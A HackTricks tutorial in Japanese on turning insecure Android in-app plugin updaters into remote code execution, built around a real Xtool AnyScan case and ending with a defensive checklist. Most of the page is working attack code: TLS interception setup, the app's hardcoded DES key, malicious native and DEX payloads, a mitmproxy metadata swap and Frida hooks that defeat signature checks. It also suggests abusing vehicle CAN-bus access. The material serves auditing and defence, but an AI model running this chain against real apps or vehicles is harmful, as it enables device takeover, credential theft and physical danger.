不安全なアプリ内アップデート機構 – Remote Code Execution via Malicious Plugins

Reading time: 15 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

多くのAndroidアプリはGoogle Play Storeの代わりに独自の「plugin」や「dynamic feature」アップデートチャネルを実装しています。実装が不十分な場合、更新トラフィックを傍受または改ざんできる攻撃者は、アプリプロセス内にロードされる任意のnativeまたはDalvik/ARTコードを供給でき、端末上で完全な Remote Code Execution (RCE) を引き起こします — 場合によってはアプリが制御する外部デバイス(cars, IoT, medical devices …)上でも同様です。

本ページは Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) で発見された実際の脆弱性連鎖を要約し、この手法を一般化して他のAndroidアプリを監査し、red-teamでのエンゲージメント時にその誤設定を悪用できるようにしています。


0. クイックトリアージ:アプリに in‑app updater はあるか?

JADX/apktool で見る静的なヒント:

  • 文字列: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • ネットワークエンドポイント例: /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • アップデート経路付近の暗号ヘルパー (DES/AES/RC4; Base64; JSON/XML パック).
  • 動的ローダー: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • アプリ内部または外部ストレージに書き込み、その直後に .so/DEX をロードするような解凍パス。

ランタイムで確認するフック:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. 脆弱な TLS TrustManager を特定する

  1. APK を jadx / apktool で逆コンパイルし、ネットワーキングスタック(OkHttp, HttpUrlConnection, Retrofit…)を探す。
  2. すべての証明書を無条件に信頼するカスタム TrustManagerHostnameVerifier を探す:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. 存在する場合、アプリケーションは任意の TLS 証明書を受け入れます → self-signed cert を使って transparent MITM proxy を実行できます:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

If TLS pinning が unsafe trust-all ロジックの代わりに強制されている場合は、次を参照してください:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering the Update Metadata

AnyScan の場合、各アプリ起動時に以下への HTTPS GET がトリガーされます:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

レスポンスボディは XML ドキュメントで、<FileData> ノードには各利用可能なプラグインを記述した Base64-encoded、DES-ECB encrypted JSON が含まれます。

Typical hunting steps:

  1. 暗号処理ルーチン(例:RemoteServiceProxy)を特定し、以下を復元します:
  • アルゴリズム (DES / AES / RC4 …)
  • 動作モード (ECB / CBC / GCM …)
  • ハードコードされた key / IV(一般的に 56‑bit DES や 128‑bit AES の定数)
  1. メタデータを decrypt / encrypt するために、その関数を Python で再実装します:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Notes seen in the wild (2023–2025):

  • Metadata はしばしば JSON-within-XML または protobuf で、弱い暗号や静的キーがよく見られます。
  • 多くの updaters は、metadata が HTTPS 経由でも実際のペイロードダウンロードに plain HTTP を許容します。
  • Plugins は頻繁に app-internal storage に解凍されます;一部は外部ストレージやレガシーな requestLegacyExternalStorage をまだ使用しており、cross-app tampering を可能にします。

3. 悪意のあるプラグインを作成する

3.1 ネイティブライブラリパス (dlopen/System.load[Library])

  1. 任意の正規のプラグイン ZIP を選び、ネイティブライブラリをあなたの payload に置き換えます:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. JSON メタデータを更新して "FileName" : "PWNED.zip""DownloadURL" があなたの HTTP サーバーを指すようにします。
  2. 変更した JSON を再暗号化して Base64 エンコードし、傍受した XML に戻します。

3.2 Dex ベースのプラグインパス (DexClassLoader)

一部のアプリは JAR/APK をダウンロードして DexClassLoader 経由でコードをロードします。ロード時にトリガーする悪意ある DEX を作成します:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

ターゲットが Class.forName("pwn.Dropper") を呼び出すと、static initializer(静的イニシャライザ)が実行されます。そうでない場合は、Frida を使って読み込まれたクラスをリフレクティブに列挙し、エクスポートされたメソッドを呼び出します。


4. mitmproxyでペイロードを配信

addon.py の例(元のメタデータを静かに差し替える):

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

悪意のある ZIP/JAR をホストするために、簡易的な Web サーバーを起動する:

bash
python3 -m http.server 8000 --directory ./payloads

被害者がアプリを起動すると、次の処理が行われます:

  • MITM チャンネル経由で改ざんした XML を取得する;
  • ハードコードされた crypto でそれを復号・解析する;
  • PWNED.zip または plugin.jar をダウンロード → プライベートストレージ内で解凍する;
  • 含まれる .so または DEX をロードし、アプリの権限(camera, GPS, Bluetooth, filesystem, …)で即座にコードを実行する。

plugin がディスクにキャッシュされるため backdoor は再起動後も持続し、ユーザーが関連機能を選択するたびに実行される。


4.1 シグネチャ/ハッシュチェックのバイパス(存在する場合)

アップデータがシグネチャやハッシュを検証している場合、検証処理をフックして常に攻撃者のコンテンツを受け入れるようにする:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

また、PluginVerifier.verifySignature()checkHash() のようなベンダー提供メソッドをスタブ化したり、Java や JNI 内の更新ゲーティングロジックをショートサーキットすることも検討してください。


5. アップデータにおけるその他の攻撃面 (2023–2025)

  • Zip Slip パス・トラバーサルによるプラグイン展開時の脆弱性: ../../../../data/data/<pkg>/files/target のような悪意あるエントリが任意のファイルを上書きする。エントリパスを常に正規化・サニタイズし、許可リストを使用すること。
  • 外部ストレージでのステージング: アプリが読み込む前にアーカイブを外部ストレージに書き込むと、他のアプリが改ざんできる。Scoped Storage またはアプリ内部ストレージで回避可能。
  • 平文ダウンロード: メタデータは HTTPS だがペイロードが HTTP の場合 → 簡単に MITM による差し替えが可能。
  • 不完全な署名チェック: 単一ファイルのハッシュのみを比較してアーカイブ全体を検証していない、署名を開発者キーに紐付けていない、アーカイブ内にある任意の RSA キーを受け入れてしまう等。
  • React Native / Web ベースの OTA コンテンツ: ネイティブブリッジが OTA から受け取った JS を厳密な署名なしで実行すると、アプリコンテキスト内で任意のコード実行が可能になる(例: insecure CodePush-like フロー)。detached update signing と厳格な検証を確保すること。

6. ポストエクスプロイトのアイデア

  • アプリに保存されているセッションクッキー、OAuth トークン、または JWT を窃取する。
  • 二段階目の APK を配置し、可能なら pm install でサイレントインストールする(既に REQUEST_INSTALL_PACKAGES を宣言しているアプリもある)。
  • 接続ハードウェアを悪用する — AnyScan のケースでは任意の OBD‑II / CAN バスコマンドを送信できる(ドアのアンロック、ABS の無効化など)。

検出と緩和チェックリスト(blue team)

  • 動的コード読み込みやストア外のアップデートを避ける。Play‑mediated updates を優先する。動的プラグインが必須の場合は、それらをデータ専用バンドルとして設計し、実行コードはベース APK に保持すること。
  • TLS を適切に強制する: 全てを信頼するカスタムマネージャを使わない。可能な場合はピンニングを導入し、平文トラフィックを禁止する堅牢な network security config を適用する。
  • Google Play 外から実行可能コードをダウンロードしないこと。止むを得ない場合は、開発者保有のキーによる detached update signing(例: Ed25519/RSA)を使用し、ロード前に検証する。メタデータとペイロード(長さ、ハッシュ、バージョン)を紐付け、失敗時は安全に失敗させる(fail closed)。
  • メタデータには per‑message nonce を伴う現代的な暗号(AES‑GCM)を使用し、クライアントからハードコードされたキーを削除する。
  • ダウンロードしたアーカイブの整合性を検証する: すべてのファイルをカバーする署名を検証する、または最低でも SHA‑256 ハッシュのマニフェストを検証すること。余分な/不明なファイルは拒否する。
  • ダウンロードは app‑internal storage(または Android 10+ の scoped storage)に保存し、アプリ間での改ざんを防ぐファイル権限を使用する。
  • Zip Slip への対策: 展開前に zip エントリパスを正規化・検証し、絶対パスや .. セグメントを拒否する。
  • Play “Code Transparency” を検討して、配布された DEX/ネイティブコードがビルドしたものと一致するかを開発者やユーザーが検証できるようにする(補助的な機能であり、APK 署名の代替ではない)。

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする